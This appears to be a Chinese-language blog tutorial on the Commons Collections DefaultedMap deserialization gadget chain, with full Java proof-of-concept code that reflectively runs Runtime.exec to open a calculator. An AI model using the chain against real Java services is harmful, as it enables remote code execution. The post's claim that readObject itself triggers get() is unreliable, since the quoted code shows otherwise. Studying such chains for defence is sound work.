原創->CommonsCollections1-DefaultMap鏈

今天我打算整點兒不一樣的內容，通過之前學習的TransformerMap和LazyMap鏈，想搞點不一樣的，所以我關註了另外一條鏈DefaultedMap鏈，主要調用鏈為：

調用鏈詳細描述：
 ObjectInputStream.readObject()
     DefaultedMap.readObject()
         DefaultedMap.get()
            ChainedTransformer.transform()
                 ConstantTransformer.transform()
                 InvokerTransformer.transform()
                     Method.invoke()
                         Class.getMethod()
                 InvokerTransformer.transform()
                     Method.invoke()
                         Runtime.getRuntime()
                 InvokerTransformer.transform()
                     Method.invoke()
                         Runtime.exec()

剛開始的方法和其他CC1鏈的方法是一樣的，這裡不再贅述，其實也就是這三步

主要講一下在DefaultedMap里是如何進行調用的，首先我們看一下完整的EXP

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class ExploitDemo implements Serializable {
    private static final long serialVersionUID = 1L;

    public static void main(String[] args) throws Exception {
        // 設置Transformer鏈，最終執行命令 'open -a Calculator' 以彈出macOS計算器
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class), // ConstantTransformer.transform() 返回Runtime.class
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), // InvokerTransformer.transform() 調用Class.getMethod() 獲取getRuntime方法對象
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // InvokerTransformer.transform() 調用Method.invoke() 獲取Runtime實例
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" }) // InvokerTransformer.transform() 調用Runtime.exec() 執行命令
        };

        // 使用ChainedTransformer將多個Transformer鏈接在一起
        Transformer transformer = new ChainedTransformer(transformers); // ChainedTransformer.transform() 依次調用上面的每個Transformer

        // 創建DefaultedMap對象
        Map<Object, Object> innerMap = new HashMap<>();
        DefaultedMap defaultedMap = new DefaultedMap(transformer); // DefaultedMap.get() 如果key不存在，調用transformer.transform()

        // 通過反射將innerMap註入到DefaultedMap中
        Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); // 獲取父類AbstractMapDecorator的map欄位
        mapField.setAccessible(true);
        mapField.set(defaultedMap, innerMap); // 設置DefaultedMap的map欄位為innerMap

        // 通過反射設置value欄位
        Field valueField = DefaultedMap.class.getDeclaredField("value"); // 獲取DefaultedMap的value欄位
        valueField.setAccessible(true);
        valueField.set(defaultedMap, transformer); // 設置DefaultedMap的value欄位為ChainedTransformer實例

        // 序列化DefaultedMap對象
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(defaultedMap); // 序列化defaultedMap對象
        objectOutputStream.close();

        byte[] serializedObject = byteArrayOutputStream.toByteArray();  // 通過ByteArrayOutputStream獲取序列化後的位元組數組

        // 反序列化DefaultedMap對象
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedObject);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        DefaultedMap deserializedMap = (DefaultedMap) objectInputStream.readObject(); // ObjectInputStream.readObject() 反序列化defaultedMap對象，觸發DefaultedMap.readObject()
        objectInputStream.close();

        // 調用get方法以觸發命令執行
        deserializedMap.get("key"); // DefaultedMap.get() 調用ChainedTransformer.transform()，依次調用各個transformer，最終執行命令
    }
}

我們來下斷點調試一下，看看代碼是如何進行命令執行的

首先還是創建一個數組，然後通過ChainedTransformer方法進行不斷的調用

Transformer[] transformers = new Transformer[]
創建一個數組Transformer[]
  
new ConstantTransformer(Runtime.class)
1.通過ConstantTransformer 的 transform 方法調用一個對象，返回 Runtime.class，即 java.lang.Runtime 類的 Class 對象。

new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), 
2.通過InvokerTransformer調用 Runtime.class.getMethod("getRuntime", new Class[0]) 獲取名為 getRuntime 的方法對象，getMethod 方法簽名為 Method getMethod(String name, Class<?>... parameterTypes)，傳入參數 new Class[] { String.class, Class[].class } 和 new Object[] { "getRuntime", new Class[0] }
  
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] })
3.通過 InvokerTransformer 調用 Method.invoke(null, new Object[0]) 獲取 Runtime 類的實例，invoke 方法簽名為 Object invoke(Object obj, Object... args)，傳入參數 new Class[] { Object.class, Object[].class } 和 new Object[] { null, new Object[0] }。


new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" }) 
4.通過 InvokerTransformer 調用 Runtime.getRuntime().exec("open -a Calculator") 執行命令，exec 方法簽名為 Process exec(String command)，傳入參數 new Class[] { String.class } 和 new Object[] { "open -a Calculator" }。

通過ChainedTransformer方法，遞歸調用transformers數組，每一個步驟的輸出被作為下一步的輸入。

然後繼續往下跟

1.首先我們先創建一個Map對象，為什麼後面會講
Map<Object, Object> innerMap = new HashMap<>();

2.傳入transformer數組，因為defaultedMap 中獲取一個不存在的鍵的值時，DefaultedMap 會使用 Transformer 對象的transform 方法來計算預設值，所以會調用我們的惡意數組鏈。
DefaultedMap defaultedMap = new DefaultedMap(transformer);

繼續往下跟

1.DefaultedMap 類繼承自 AbstractMapDecorator，getSuperclass() 方法返回 DefaultedMap 的直接父類AbstractMapDecorator，getDeclaredField("map") 方法返回 AbstractMapDecorator 類中的 map 欄位（一個 Field 對象），反射是因為這個欄位是私有的
Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); 

2.setAccessible(true) 方法允許通過反射訪問私有欄位。
mapField.setAccessible(true);

3.mapField.set 方法用於設置 defaultedMap 對象中 map 欄位的值，這裡將 defaultedMap 的 map 欄位設置為 innerMap 對象，即用我們之前創建的 Map 對象替換 defaultedMap 內部的 Map 實現。
mapField.set(defaultedMap, innerMap);

繼續往下跟

1.通過反射訪問並修改了 DefaultedMap 類的 value 欄位,getDeclaredField("value") 獲取 DefaultedMap 類中名為 value 的欄位.
Field valueField = DefaultedMap.class.getDeclaredField("value");

2.setAccessible(true) 使得即使是私有欄位也可以通過反射進行訪問和修改
valueField.setAccessible(true);

3.通過 set 方法將 defaultedMap 對象的 value 欄位設置為 transformer 對象。原因是當 DefaultedMap(Map map, Object value) 中的value獲取一個不存在的鍵時，它將使用這個 transformer 對象來生成預設值。
valueField.set(defaultedMap, transformer);

繼續往下跟

　　這裡我也不廢話，主要就是序列化數據和反序列化數據，通過ByteArrayOutputStream，提供了將數據寫入位元組數組的能力，toByteArray()方法是獲取寫入的

所有數據的副本，作為一個新的位元組數組，然後通過ByteArrayInputStream進行反序列化。

　　關鍵點需要註意的是以下這段代碼，因為要能夠使命令成功執行，必須要讓DefaultedMap實現序列化介面，這裡我們可以看到確實實現了；所以DefaultedMap實現了Serializable 介面，它可以通過 ObjectInputStream 進行反序列化。在這個過程中，ObjectInputStream 會調用 DefaultedMap 的 readObject 方法，以恢復對象的狀態。

可以看到我們下的斷點位置已經通過反序列化調用了readObjcet方法

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  
  in.defaultReadObject();
  //ObjectInputStream 的 defaultReadObject 方法。defaultReadObject 方法負責從輸入流中讀取對象的非靜態和非瞬態欄位的狀態，並將它們恢復到當前對象中，這一步相當於預設的反序列化過程，它會根據序列化時寫入的對象狀態自動恢復這些欄位的值。
        
  map = (Map) in.readObject();
  //這一行代碼從輸入流中讀取一個對象，並將其強制轉換為 Map 類型，然後賦值給 map 欄位。這意味著 map 欄位在反序列化過程中需要被顯式地恢復。通過這種方式，可以確保 map 欄位在反序列化後正確地指向原來的 Map 對象。
    }

繼續往下跟
 

　　　　獲得命令執行的原因是，通過觸發readObjcet方法調用DefaultedMap的get方法，進行判斷，當調用 get 方法嘗試獲取一個不存在的鍵（如 "key"）時，

DefaultedMap 會使用預設值生成器來生成值。在這裡，預設值生成器是chainedTransformer，因此會調用 chainedTransformer.transform("key"),因為獲取到

一個不存在的值，DefaultedMap 會使用其預設值生成器（在這裡是 ChainedTransformer）來生成預設值。由於 ChainedTransformer 包含了一系列的

Transformer，這些 Transformer 會依次調用，最終執行惡意命令。

然後我們可以下斷點看下麵的圖

逐行解釋一下命令執行的過程

if (map.containsKey(key) == false) 
//檢查 map 中是否包含指定的鍵 key。如果鍵不存在，代碼繼續執行內部邏輯；如果鍵存在，則直接返回鍵對應的值。
  
if (value instanceof Transformer)
//檢查 DefaultedMap 的預設值 value 是否是 Transformer 類型，如果 value 是一個 Transformer 對象，則調用 Transformer 的 transform 方法來生成值，也就是調用了我們的惡意鏈
  
return ((Transformer) value).transform(key);
//當 get 方法調用 ((Transformer) value).transform(key) 時，實際上是調用 ChainedTransformer 的 transform 方法。ChainedTransformer 的 transform 方法會依次調用內部每個 Transformer；
ConstantTransformer 返回 Runtime.class；
InvokerTransformer 調用 getMethod("getRuntime", new Class[0])，獲取 Runtime.getRuntime 方法；InvokerTransformer 調用 Runtime.getRuntime() 方法，獲取 Runtime 實例；InvokerTransformer 調；
Runtime.exec("open -a Calculator") 方法，執行命令，打開計算器。

大家可以有機會自己寫一下代碼，調試一下就可以完全明白了，今天就到這裡。Good night～